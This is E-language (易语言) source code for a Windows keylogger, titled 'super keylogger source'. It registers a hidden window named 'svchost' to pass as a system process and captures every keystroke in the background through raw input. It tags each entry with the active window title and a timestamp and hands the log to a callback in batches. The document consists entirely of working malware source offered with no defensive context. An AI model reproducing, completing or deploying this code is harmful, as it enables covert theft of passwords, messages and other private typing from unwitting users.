超级键盘记录源码

.版本 2
.支持库 EThread
.支持库 spec

.程序集 处理
.程序集变量 lpPrevWndFunc, 整数型
.程序集变量 按键标题, 文本型
.程序集变量 记录按键, 文本型
.程序集变量 time_A, 文本型

.子程序 创建窗口, 整数型
.局部变量 窗口类, WNDCLASSEX
.局部变量 NULL, 文本型
.局部变量 窗口类名, 文本型
.局部变量 消息, MSG
.局部变量 窗口样式, 整数型
.局部变量 hWnd, 整数型

窗口类名 ＝ “svchost”
' 下面的代码填写窗口类的“注册表格”
窗口类.cbSize ＝ 48  ' 要指定整个结构所占的字节数，必须
窗口类.style ＝ 位或 (#CS_HREDRAW, #CS_VREDRAW, #CS_DBLCLKS)
窗口类.hInstance ＝ GetModuleHandle (NULL)  ' 取当前应用程序的实例句柄。
' 上面这句也可以这样：
' 窗口类.hInstance ＝ GetModuleHandle (取执行文件名 ())
' ！！注意：LoadIcon和LoadCursor的两个函数的参数都改成了整数型。
窗口类.hCursor ＝ LoadCursor (0, #IDC_ARROW)
窗口类.hbrBackground ＝ #COLOR_BTNFACE ＋ 1  ' 也可以使用其他的Color常量，注意在后面要＋1。
窗口类.lpszClassName ＝ 窗口类名
窗口类.lpfnWndProc ＝ &窗口函数
' 注册表填写好了之后，进行注册登记窗口类。
.如果真 (RegisterClassEx (窗口类) ＝ 0)
    返回 (1)
.如果真结束
' 窗口类注册成功了就可以创建窗口了。
窗口样式 ＝ #WS_MINIMIZEBOX
窗口句柄 ＝ CreateWindowEx (0, 窗口类名, “”, 窗口样式, #CW_USEDEFAULT, #CW_USEDEFAULT, 0, 0, 0, 0, 窗口类.hInstance, 0)
.如果真 (窗口句柄 ＝ 0)
    返回 (1)
.如果真结束
' /////////////////
hWnd ＝ 窗口句柄
Init (hWnd)
lpPrevWndFunc ＝ SetWindowLongA (hWnd, #GWL_WNDPROC, &func_Message)
' \\\\\\\\\\\\\\\\\
time_A ＝ 时间_取现行时间戳 (真)
启动线程 (&时间机制, , )
' 下面就是消息循环
' 当GetMessage函数发现消息的消息值为WM_QUIT的时候，就返回0，从而退出循环。
' ///////////////////////////循环
.判断循环首 (GetMessage (消息, 0, 0, 0) ≠ 0)
    TranslateMessage (消息)
    DispatchMessage (消息)
.判断循环尾 ()
返回 (消息.wParam)

.子程序 取变量数据指针_ASM, 整数型, , 返回非数组类型的变量数据指针
.参数 非数组类型的变量, 通用型, 参考, 变量名;注意要为非数组类型的变量

置入代码 ({ 139, 69, 8, 139, 0, 201, 194, 4, 0 })
返回 (0)

.子程序 程序_Call, 整数型, , 内部调用
.参数 子程序指针, 整数型
.参数 参数1, 整数型, 可空
.参数 参数2, 整数型, 可空
.参数 参数3, 整数型, 可空
.参数 参数4, 整数型, 可空
.参数 参数5, 整数型, 可空

置入代码 ({ 201, 88, 135, 4, 36, 255, 224 })
返回 (0)

.子程序 func_Message, 整数型
.参数 hWnd, 整数型
.参数 Msg, 整数型
.参数 wParam, 整数型
.参数 lParam, 整数型

.判断开始 (Msg ＝ #WM_INPUT)
    GetData (lParam)
.默认

.判断结束
返回 (CallWindowProcA (lpPrevWndFunc, hWnd, Msg, wParam, lParam))

.子程序 Init, 逻辑型
.参数 hWnd, 整数型
.局部变量 rawinputDevice, RAWINPUTDEVICE

rawinputDevice.usUsagePage ＝ 1
rawinputDevice.usUsage ＝ 6
rawinputDevice.dwFlags ＝ #RIDEV_INPUTSINK
rawinputDevice.hwndTarget ＝ hWnd
返回 (RegisterRawInputDevices (rawinputDevice, 1, #sizeof_RAWINPUTDEVICE))

.子程序 GetData
.参数 lParam, 整数型
.局部变量 rawinputData, RAWINPUT
.局部变量 uiSize, 整数型

调试输出 (“检测到键盘按下”)
uiSize ＝ #sizeof_RAWINPUT
GetRawInputData (lParam, #RID_INPUT, rawinputData, uiSize, 16)
.如果真 (rawinputData.header.dwType ＝ #RIM_TYPEKEYBOARD)
    .如果真 (rawinputData.keyboard.Message ＝ #WM_KEYDOWN 或 rawinputData.keyboard.Message ＝ #WM_SYSKEYDOWN)
        SaveVKey (rawinputData.keyboard.VKey)
    .如果真结束

.如果真结束


.子程序 SaveVKey
.参数 usVKey, 整数型, , 键代码
.局部变量 hWnd, 整数型
.局部变量 szTitle, 文本型
.局部变量 outStr, 文本型
.局部变量 时间, 日期时间型

时间 ＝ 取现行时间 ()
szTitle ＝ 取空白文本 (#MAX_PATH)
hWnd ＝ GetForegroundWindow ()
GetWindowTextA (hWnd, szTitle, #MAX_PATH)
.如果 (按键标题 ＝ szTitle)
    记录按键 ＝ 记录按键 ＋ 键代码转换名 (usVKey)
    .如果真 (取文本长度 (记录按键) ≥ 600)
        按键标题 ＝ szTitle
        .如果 (记录按键 ≠ “”)
            Call ()
        .否则

        .如果结束
        记录按键 ＝ “”
        记录按键 ＝ “[标题:]” ＋ szTitle ＋ #换行符 ＋ “[时间:]” ＋ 到文本 (时间) ＋ #换行符 ＋ “[内容:]”
        记录按键 ＝ 记录按键 ＋ 键代码转换名 (usVKey)
    .如果真结束

.否则
    按键标题 ＝ szTitle
    .如果 (记录按键 ≠ “”)
        Call ()
    .否则

    .如果结束
    记录按键 ＝ “”
    记录按键 ＝ “[标题:]” ＋ szTitle ＋ #换行符 ＋ “[时间:]” ＋ 到文本 (时间) ＋ #换行符 ＋ “[内容:]”
    记录按键 ＝ 记录按键 ＋ 键代码转换名 (usVKey)
.如果结束


.子程序 时间机制
.局部变量 句柄, 整数型
.局部变量 时间, 日期时间型
.局部变量 szTitle, 文本型
.局部变量 hWnd, 整数型
.局部变量 time, 文本型, 静态

调试输出 (“时间机制”)
程序_延时 (120, 1)
.判断开始 (到整数 (时间_取现行时间戳 (真)) ≥ 到整数 (time) ＋ 120 且 到整数 (时间_取现行时间戳 (真)) ≥ 到整数 (time_A) ＋ 120)

.判断 (到整数 (时间_取现行时间戳 (真)) ＜ 到整数 (time) ＋ 120)
    程序_延时 (到整数 (时间_取现行时间戳 (真)) － (到整数 (time) ＋ 120), 1)
.判断 (到整数 (时间_取现行时间戳 (真)) ＜ 到整数 (time_A) ＋ 120)
    程序_延时 (到整数 (时间_取现行时间戳 (真)) － (到整数 (time_A) ＋ 120), 1)
.默认

.判断结束
调试输出 (“时间机制开始”)
时间 ＝ 取现行时间 ()
szTitle ＝ 取空白文本 (#MAX_PATH)
hWnd ＝ GetForegroundWindow ()
GetWindowTextA (hWnd, szTitle, #MAX_PATH)
按键标题 ＝ szTitle
.如果 (记录按键 ≠ “”)
    Call ()
.否则

.如果结束
记录按键 ＝ “”
记录按键 ＝ “[标题:]” ＋ szTitle ＋ #换行符 ＋ “[时间:]” ＋ 到文本 (时间) ＋ #换行符 ＋ “[内容:]”
time ＝ 时间_取现行时间戳 (真)
调试输出 (“时间机制完毕”)
启动线程 (&时间机制, , )

.子程序 Call

程序_Call (到整数 (回调), 取变量数据指针_ASM (记录按键), , , , )
time_A ＝ 时间_取现行时间戳 (真)

.子程序 键代码转换名, 文本型, , 支持大小写
.参数 键代码, 整数型, , 键代码,如填:65,将返回 A键
.局部变量 文本, 文本型
.局部变量 大小写, 逻辑型

大小写 ＝ GetKeyState (20)
.判断开始 (键代码 ＝ #Ctrl键)
    文本 ＝ “{Ctrl}”
.判断 (键代码 ＝ #Shift键)
    文本 ＝ “{Shift}”
.判断 (键代码 ＝ #Alt键)
    文本 ＝ “{Alt}”
.判断 (键代码 ＝ #键0)
    文本 ＝ “0”
.判断 (键代码 ＝ #键1)
    文本 ＝ “1”
.判断 (键代码 ＝ #键2)
    文本 ＝ “2”
.判断 (键代码 ＝ #键3)
    文本 ＝ “3”
.判断 (键代码 ＝ #键4)
    文本 ＝ “4”
.判断 (键代码 ＝ #键5)
    文本 ＝ “5”
.判断 (键代码 ＝ #键6)
    文本 ＝ “6”
.判断 (键代码 ＝ #键7)
    文本 ＝ “7”
.判断 (键代码 ＝ #键8)
    文本 ＝ “8”
.判断 (键代码 ＝ #键9)
    文本 ＝ “9”
.判断 (键代码 ＝ #A键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “A”
    .否则
        文本 ＝ “a”
    .如果结束

.判断 (键代码 ＝ #B键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “B”
    .否则
        文本 ＝ “b”
    .如果结束

.判断 (键代码 ＝ #C键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “C”
    .否则
        文本 ＝ “c”
    .如果结束

.判断 (键代码 ＝ #D键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “D”
    .否则
        文本 ＝ “d”
    .如果结束

.判断 (键代码 ＝ #E键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “E”
    .否则
        文本 ＝ “e”
    .如果结束

.判断 (键代码 ＝ #F键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “F”
    .否则
        文本 ＝ “f”
    .如果结束

.判断 (键代码 ＝ #G键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “G”
    .否则
        文本 ＝ “g”
    .如果结束

.判断 (键代码 ＝ #H键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “H”
    .否则
        文本 ＝ “h”
    .如果结束

.判断 (键代码 ＝ #I键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “I”
    .否则
        文本 ＝ “i”
    .如果结束

.判断 (键代码 ＝ #J键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “J”
    .否则
        文本 ＝ “j”
    .如果结束

.判断 (键代码 ＝ #K键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “K”
    .否则
        文本 ＝ “k”
    .如果结束

.判断 (键代码 ＝ #L键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “L”
    .否则
        文本 ＝ “l”
    .如果结束

.判断 (键代码 ＝ #M键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “M”
    .否则
        文本 ＝ “m”
    .如果结束

.判断 (键代码 ＝ #N键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “N”
    .否则
        文本 ＝ “n”
    .如果结束

.判断 (键代码 ＝ #O键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “O”
    .否则
        文本 ＝ “o”
    .如果结束

.判断 (键代码 ＝ #P键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “P”
    .否则
        文本 ＝ “p”
    .如果结束

.判断 (键代码 ＝ #Q键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “Q”
    .否则
        文本 ＝ “q”
    .如果结束

.判断 (键代码 ＝ #R键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “R”
    .否则
        文本 ＝ “r”
    .如果结束

.判断 (键代码 ＝ #S键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “S”
    .否则
        文本 ＝ “s”
    .如果结束

.判断 (键代码 ＝ #T键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “T”
    .否则
        文本 ＝ “t”
    .如果结束

.判断 (键代码 ＝ #U键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “U”
    .否则
        文本 ＝ “u”
    .如果结束

.判断 (键代码 ＝ #V键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “V”
    .否则
        文本 ＝ “v”
    .如果结束

.判断 (键代码 ＝ #W键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “W”
    .否则
        文本 ＝ “w”
    .如果结束

.判断 (键代码 ＝ #X键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “X”
    .否则
        文本 ＝ “x”
    .如果结束

.判断 (键代码 ＝ #Y键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “Y”
    .否则
        文本 ＝ “y”
    .如果结束

.判断 (键代码 ＝ #Z键)
    .如果 (大小写 ＝ 真)
        文本 ＝ “Z”
    .否则
        文本 ＝ “z”
    .如果结束

.判断 (键代码 ＝ #F1键)
    文本 ＝ “{F1}”
.判断 (键代码 ＝ #F2键)
    文本 ＝ “{F2}”
.判断 (键代码 ＝ #F3键)
    文本 ＝ “{F3}”
.判断 (键代码 ＝ #F4键)
    文本 ＝ “{F4}”
.判断 (键代码 ＝ #F5键)
    文本 ＝ “{F5}”
.判断 (键代码 ＝ #F6键)
    文本 ＝ “{F6}”
.判断 (键代码 ＝ #F7键)
    文本 ＝ “{F7}”
.判断 (键代码 ＝ #F8键)
    文本 ＝ “{F8}”
.判断 (键代码 ＝ #F9键)
    文本 ＝ “{F9}”
.判断 (键代码 ＝ #F10键)
    文本 ＝ “{F10}”
.判断 (键代码 ＝ #F11键)
    文本 ＝ “{F11}”
.判断 (键代码 ＝ #F12键)
    文本 ＝ “{F12}”
.判断 (键代码 ＝ #F13键)
    文本 ＝ “{F13}”
.判断 (键代码 ＝ #F14键)
    文本 ＝ “{F14}”
.判断 (键代码 ＝ #F15键)
    文本 ＝ “{F15}”
.判断 (键代码 ＝ #F16键)
    文本 ＝ “{F16}”
.判断 (键代码 ＝ #Break键)
    文本 ＝ “{Break}”
.判断 (键代码 ＝ #回车键)
    文本 ＝ “{回车}”
.判断 (键代码 ＝ #Pause键)
    文本 ＝ “{Pause}”
.判断 (键代码 ＝ #CapsLock键)
    文本 ＝ “{Caps Lock}”
.判断 (键代码 ＝ #NumLock键)
    文本 ＝ “{NumLock}”
.判断 (键代码 ＝ #ScrollLock键)
    文本 ＝ “{ScrollLock}”
.判断 (键代码 ＝ #Esc键)
    文本 ＝ “{Esc}”
.判断 (键代码 ＝ #空格键)
    文本 ＝ “{空格}”
.判断 (键代码 ＝ #PageUp键)
    文本 ＝ “{PageUp}”
.判断 (键代码 ＝ #PageDown键)
    文本 ＝ “{PageDown}”
.判断 (键代码 ＝ #Home键)
    文本 ＝ “{Home}”
.判断 (键代码 ＝ #End键)
    文本 ＝ “{End}”
.判断 (键代码 ＝ #左光标键)
    文本 ＝ “{左光标}”
.判断 (键代码 ＝ #上光标键)
    文本 ＝ “{上光标}”
.判断 (键代码 ＝ #右光标键)
    文本 ＝ “{右光标}”
.判断 (键代码 ＝ #下光标键)
    文本 ＝ “{下光标}”
.判断 (键代码 ＝ #Ins键)
    文本 ＝ “{Ins}”
.判断 (键代码 ＝ #Del键)
    文本 ＝ “{Del}”
.判断 (键代码 ＝ #分号键)
    文本 ＝ “{分号}”
.判断 (键代码 ＝ #等号键)
    文本 ＝ “{等号}”
.判断 (键代码 ＝ #逗号键)
    文本 ＝ “{逗号}”
.判断 (键代码 ＝ #减号键)
    文本 ＝ “{减号}”
.判断 (键代码 ＝ #圆点键)
    文本 ＝ “{圆点}”
.判断 (键代码 ＝ #除号键)
    文本 ＝ “{除号}”
.判断 (键代码 ＝ #反撇号键)
    文本 ＝ “{反撇号}”
.判断 (键代码 ＝ #左中括号键)
    文本 ＝ “{左中括号}”
.判断 (键代码 ＝ #右中括号键)
    文本 ＝ “{右中括号}”
.判断 (键代码 ＝ #斜杠键)
    文本 ＝ “{斜杠}”
.判断 (键代码 ＝ #单引号键)
    文本 ＝ “{单引号}”
.判断 (键代码 ＝ 106)
    文本 ＝ “{乘号}”
.判断 (键代码 ＝ 107)
    文本 ＝ “{加号}”
.判断 (键代码 ＝ #退格键)
    文本 ＝ “{退格}”
.判断 (键代码 ＝ 91)
    文本 ＝ “{Win}”
.判断 (键代码 ＝ #Tab键)
    文本 ＝ “{Tab}”
.判断 (键代码 ＝ 96)
    文本 ＝ “1”
.判断 (键代码 ＝ 97)
    文本 ＝ “2”
.判断 (键代码 ＝ 98)
    文本 ＝ “3”
.判断 (键代码 ＝ 99)
    文本 ＝ “4”
.判断 (键代码 ＝ 100)
    文本 ＝ “5”
.判断 (键代码 ＝ 101)
    文本 ＝ “6”
.判断 (键代码 ＝ 102)
    文本 ＝ “7”
.判断 (键代码 ＝ 103)
    文本 ＝ “8”
.判断 (键代码 ＝ 104)
    文本 ＝ “9”
.判断 (键代码 ＝ 105)
    文本 ＝ “0”
.默认
    文本 ＝ “{未知键代码：” ＋ 到文本 (键代码) ＋ “大写状态：” ＋ 到文本 (大小写) ＋ “}”
.判断结束
返回 (文本)


.子程序 窗口函数, 整数型, , 这是窗口过程，用来处理窗口消息
.参数 hWnd, 整数型, , 窗口句柄
.参数 uMsg, 整数型, , 消息值
.参数 wParam, 整数型, , 参数一
.参数 lParam, 整数型, , 参数二

.判断开始 (uMsg ＝ #WM_DESTROY)
    PostQuitMessage (0)  ' 将 WM_QUIT 消息放入消息队列中，这样GetMessage收到WM_QUIT消息时就会返回0，从而退出消息循环
    返回 (0)
.默认

.判断结束
返回 (DefWindowProc (hWnd, uMsg, wParam, lParam))  ' 其他的消息通通交给DefWindowProc函数处理。

.子程序 程序_延时, 逻辑型, , 不占用cpu，窗口不卡死，不影响其它代码执行
.参数 延时间隔, 整数型, 可空, 1000毫秒 = 1秒  留空为无限等待
.参数 延时单位, 长整数型, 可空, 默认为毫秒  0=毫秒  1=秒  2=分钟  3=小时
.局部变量 局_时间句柄, 整数型
.局部变量 局_时间, 程序延时

.判断开始 (延时单位 ＝ 0 且 是否为空 (延时间隔))
    延时间隔 ＝ 5000 × 60 × 60
    延时单位 ＝ 5000 × 60 × 60
.判断 (延时单位 ＝ 0)
    延时单位 ＝ 1
.判断 (延时单位 ＝ 1)
    延时单位 ＝ 1000
.判断 (延时单位 ＝ 2)
    延时单位 ＝ 1000 × 60
.判断 (延时单位 ＝ 3)
    延时单位 ＝ 1000 × 60 × 60
.默认

.判断结束
局_时间.成员_时间 ＝ -10 × 延时间隔 × 1000 × 延时单位
局_时间句柄 ＝ CreateWaitableTimerA (0, 假, 0)
SetWaitableTimer (局_时间句柄, 局_时间, 0, 0, 0, 假)
.判断循环首 (MsgWaitForMultipleObjects (1, 局_时间句柄, 假, -1, 255) ≠ 0)
    处理事件 ()
.判断循环尾 ()
CloseHandle (局_时间句柄)
返回 (真)

.子程序 时间_取现行时间戳, 文本型, , 生成一个13位或者10位的现行时间戳，默认生成13位时间戳。13位：1325252169718，10位：1325252169
.参数 是否取十位时间戳, 逻辑型, 可空, 本参数为真时，将生成10位时间戳返回
.局部变量 时间b, 精易_时间
.局部变量 返回值, 文本型
.局部变量 毫秒数, 文本型
.局部变量 时间a, 文本型

GetLocalTime (时间b)
毫秒数 ＝ 取重复文本 (3 － 取文本长度 (到文本 (时间b.毫)), “0”) ＋ 到文本 (时间b.毫)
时间a ＝ 到文本 (取时间间隔 (取现行时间 (), 到时间 (“1970-01-01 08:00:00”), #秒))
返回值 ＝ 时间a ＋ 毫秒数
' 返回值 ＝ 选择 (是否取十位时间戳, 取文本左边 (时间a ＋ 毫秒数, 10), 时间a ＋ 毫秒数)
.判断开始 (是否取十位时间戳)
    返回值 ＝ 取文本左边 (返回值, 10)
    .判断循环首 (取文本长度 (返回值) ＜ 10)
        返回值 ＝ 返回值 ＋ “0”
    .判断循环尾 ()
    返回 (返回值)
.默认

    .判断循环首 (取文本长度 (返回值) ＜ 13)
        返回值 ＝ 返回值 ＋ “0”
    .判断循环尾 ()
    返回 (返回值)
.判断结束

@BXV